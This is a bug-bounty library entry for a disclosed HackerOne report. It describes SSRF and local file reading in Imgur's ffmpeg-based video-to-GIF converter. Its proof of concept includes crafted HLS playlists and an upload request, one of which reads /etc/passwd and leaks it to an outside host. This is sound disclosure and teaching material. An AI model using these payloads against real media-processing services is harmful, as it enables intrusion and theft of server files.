# SSRF and local file read in video to gif converter

Imgur's vidgif converter ran ffmpeg/Lavf with network protocols enabled, letting a crafted HLS playlist trigger SSRF and read local files via concat/subfile protocols.

- Payout: hidden
- Severity: high
- Program: Imgur
- Found by: sl1m
- Disclosed: 2016-04-16
- Write-up quality: 8/10
- Original: https://hackerone.com/reports/115857
- Library page: https://bugbountylibrary.com/r/h1%3A115857
- Tags: area:web domain:web impact:data-leak impact:internal-access kind:bounty platform:hackerone sev:high tech:rest technique:chained vuln:path-traversal vuln:ssrf

**Target:** Video-to-GIF converter (ffmpeg/Lavf 55.48.100) at imgur.com/vidgif
**Root cause:** The converter passed user-supplied URLs to ffmpeg/Lavf with network and file protocols enabled, so a crafted HLS playlist could reference arbitrary http:// and file:// resources that the server then fetched.
**Steps:**
1. Upload an HLS playlist (e.g. 1.mp4) containing `#EXTM3U`, `#EXT-X-MEDIA-SEQUENCE:0`, `#EXTINF:10.0,`, `http://yngwie.ru/2.mp4`, `#EXT-X-ENDLIST`.
2. POST to `/vidgif/upload` with `source=http://yngwie.ru/1.mp4&url=http://yngwie.ru/1.mp4&start=0.08&stop=5.12`.
3. Observe Lavf/55.48.100 fetching the second URL from the server IP, confirming SSRF.
4. For file read, use a playlist with `concat:http://yngwie.ru/header.m3u8|file:///etc/passwd` where header.m3u8 ends without a space before EOF.
5. Observe the server request `GET ?root:x:0:0:root:/root:/bin/bash` leaking the first line of /etc/passwd.
**How found:** Recognized the converter used ffmpeg/Lavf with network options enabled and that HLS playlists allow referencing external segments, then tested SSRF and chained concat/file protocols for local file read.
**Exploitation:** Attacker uploads a crafted HLS playlist via the vidgif upload endpoint; ffmpeg parses it and issues server-side requests to attacker-controlled and internal/file URLs, exfiltrating local file contents through the resulting request path.
**Escalation:** Full file read via subfile protocol or by building valid video files and extracting data from generated GIFs; internal APIs reachable from the server could lead to RCE.
**Insight:** When a media converter uses ffmpeg, test HLS/DASH playlists and the concat/subfile protocols: they let you smuggle file:// reads into outbound requests, and the resulting URL path can leak file contents.

## Proof of concept (copied exactly from the original report)

**Crafted m3u8 playlist for SSRF**

```
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
http://yngwie.ru/2.mp4
#EXT-X-ENDLIST
```

**Upload request triggering SSRF**

```
POST /vidgif/upload HTTP/1.1
Host: imgur.com
...

source=http://yngwie.ru/1.mp4&url=http://yngwie.ru/1.mp4&start=0.08&stop=5.12
```

**concat playlist reading /etc/passwd**

```
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://yngwie.ru/header.m3u8|file:///etc/passwd
#EXT-X-ENDLIST
```